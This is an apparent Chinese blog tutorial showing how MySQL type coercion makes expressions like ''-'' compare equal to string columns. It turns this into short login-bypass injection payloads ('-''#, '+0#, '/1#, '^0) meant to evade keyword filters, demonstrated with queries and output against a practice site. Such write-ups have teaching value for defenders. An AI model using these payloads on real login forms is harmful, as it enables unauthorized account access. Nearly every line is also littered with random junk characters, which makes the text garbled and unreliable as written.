我们先来看这样一个场景。
) J/ F) v$ x( c6 m有以下表结构: - {& I6 c" I4 U: E3 e2 g
# k$ `0 J! e9 L9 O" L; xmysql> desc admin;0 ?4 r6 u# o$ _5 W5 P( v5 g
+----------+--------------+------+-----+---------+----------------+7 U5 d1 I! v P" d% S
| Field | Type | Null | Key | Default | Extra |$ v' q0 L; I, Z( p) y! G
+----------+--------------+------+-----+---------+----------------+
% w: m7 @2 c2 ]| id | mediumint(9) | NO | PRI | NULL | auto_increment |* }# t4 }1 z3 ?- I3 [8 ]
| name | char(32) | NO | UNI | NULL | |- N7 ?4 G8 Q" ]5 E' U8 \9 l H
| password | char(32) | NO | UNI | NULL | |
* a& ?; }1 \# z# s$ \+----------+--------------+------+-----+---------+----------------+
& l* E7 G/ U& b! ^ M2 J3 rows in set (0.00 sec)7 ]/ Z1 O. B& j' v1 a" W
执行select * from admin;,成功返回所有记录内容。7 o* g1 |7 A+ a" P
6 A |" P- z0 h1 [5 d/ i% y+ ]; L
" O5 {+ F- k5 O$ P+ U+ ]/ ?+----+--------+----------------------------------+
- b/ |: w6 o5 H. H0 o| id | name | password |0 `' K' i$ ]2 c* r [8 O! N( {3 M( ~
+----+--------+----------------------------------+
' s$ p7 v s) b' e0 Y| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
$ `% f9 |; M1 B E' Q3 k! X8 ?3 v| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; l# G- `* ~( O* r| 4 | n00b | ff80e8508d39047460921792273533a4 |
% j3 X4 d5 z' \9 G& E: f& ?5 r+----+--------+----------------------------------+) T# i# j' c: R$ s
3 rows in set (0.00 sec)
5 \* e4 I1 ]; Q3 e; g执行select * from admin where name=”;,没有匹配到任何记录。
4 `9 N2 [4 v& @$ R2 P& a7 m: H
1 i8 M( X5 ]% p0 Kmysql> select * from admin where name = '';
. N& f; P5 m* Z4 V% V5 qEmpty set (0.00 sec)
2 S: j: ?/ ?5 f% _$ X! m) Q/ ]那么我们来执行select * from admin where name = ”-”;
, O& q2 e$ J& L& W' ], k8 z+ G, c
T' Z4 V1 r7 r7 _( P
i0 a+ z' Z' H0 X# k5 w+----+--------+----------------------------------+/ F4 D- V$ T9 u$ H4 a
| id | name | password |
( i' D; b; k3 d' x# W4 N+----+--------+----------------------------------+
' I6 a* u/ I$ }* _1 h! V| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |4 C6 }- d6 C" l; m
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
$ `5 Q& p4 m' E# N- m* f1 W| 4 | n00b | ff80e8508d39047460921792273533a4 |/ s* h! B' j) U0 W1 H
+----+--------+----------------------------------+: G5 @; M* Q, V) b: l* h, _6 q+ x
3 rows in set, 3 warnings (0.00 sec); b! c; u1 w+ N, e3 k0 E
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
, s4 O. K M; @) V) l& r8 ^
* ^; P0 n& F! g: o3 g# H, Rmysql> show warnings;
6 x R6 }& x1 H: e7 [* z+---------+------+------------------------------------------
0 t" l" J! @9 s" v% o2 A: b| Level | Code | Message: }5 J/ F1 z! f& a) ~
+---------+------+------------------------------------------
* A: D) B& p5 k: C8 H1 s# h5 @& _| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
g0 r4 Q: p! B* W# M1 n# u| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s, S% r" r7 q! W4 O$ X* a
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b* r2 V9 p; k" E0 K: m4 J8 _
+---------+------+------------------------------------------
0 P0 N4 _$ D1 `% G& L; {3 rows in set (0.00 sec)
# |* D S5 P4 P( e3 q提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
! Y: I% P& c9 E$ ]: E: G$ S
, }3 r+ ~1 {4 ~mysql> select ''-'';- P' G- i' \6 _2 [- `/ L* J
+-------+
- U5 ?6 x2 O/ j" _% q8 k+ f$ {) E| ''-'' |
t% @$ R+ p, k8 K; J" {+-------+# o( T$ j7 z9 H, c7 C8 G! q1 Z
| 0 |
, E# ^1 }, k- l/ L; s9 J9 c+-------+6 Q* W7 M9 o' j9 |; d
1 row in set (0.00 sec)/ @/ n# D! L* n) `! t- _% h4 f! c' I
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 N& Z! T, y* x' |3 Q9 \8 }
* N$ |5 A4 a& x# y; _. @mysql> select CAST((select name from admin limit 1,1) as DECIMAL);% Q C9 v2 L5 ^1 p r8 g
+-----------------------------------------------------+
( S; w7 V: G( j& Y. |$ g) E| CAST((select name from admin limit 1,1) as DECIMAL) |
8 o+ W7 A& Z- _, U0 I# w( E, r+-----------------------------------------------------+. [$ d/ W8 Q0 _. |, y
| 0 |$ u0 @* G; A# Z( I, _3 b; \! K p. o
+-----------------------------------------------------+7 K3 a, }4 T& F, x H; j* g0 r/ ^
1 row in set, 1 warning (0.00 sec)2 A6 \ k+ ?% J, Y
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
. y: w; w. W! a4 s+ v& l5 [* {0 Q7 ?- U& D( C! ]# M( r
SQL注入场景: http://www.sqlzoo.net/hack/
% v0 t/ o: K# s, n, s" A) A) R( u( d9 m3 E* v& |& r
5 D V% `; j9 z8 l* ]2 s. H! o* t5 y1 d
7 b" L$ v& {! @
0 e' z( D2 }; R) `如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
+ z' T# p# l: h% R1 Z, O! Q" o5 R" f9 T
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ( k: G6 `! G5 \ D# q+ f9 Q, r
8 i+ `. o5 | T0 D* [+ ]9 S) Y) [0 _& ?5 g2 H% i. v
( P8 q# r6 P' `! |3 u5 m5 y; d+ v: c
% Z. O7 K9 h% h3 O3 q仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
" r7 V0 r1 _2 t' M
7 c9 S; \/ W* K( s- D, a. e. [* S
( K0 T& @5 m3 E& C4 R: R; v2 l' e4 G7 W* U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可/ {; v$ r! d' [! B5 \0 n) |
' Y) \7 f. m2 V+ {5 u7 Z% C; c& {9 o% r
mysql> select ''/1;
$ y/ R, j% ?* v( T) Q+------+
- p% K/ r) c8 _- T$ e) ]" h| ''/1 |% k3 t7 Q# v5 r! {0 r
+------+2 U/ r6 h4 t, y' d# g
| 0 |0 F7 Y4 B1 ~- M+ x. J g
+------+# X: Y9 E% _2 ~ c
1 row in set (0.00 sec)
' a1 K5 I; D( [4 k) V+ W类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
+ _7 |! H, ?0 H* L) R
3 r/ D7 l% a5 Z$ @. A+ F Y利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
8 o0 K& x4 o( ~5 `6 T" N |
|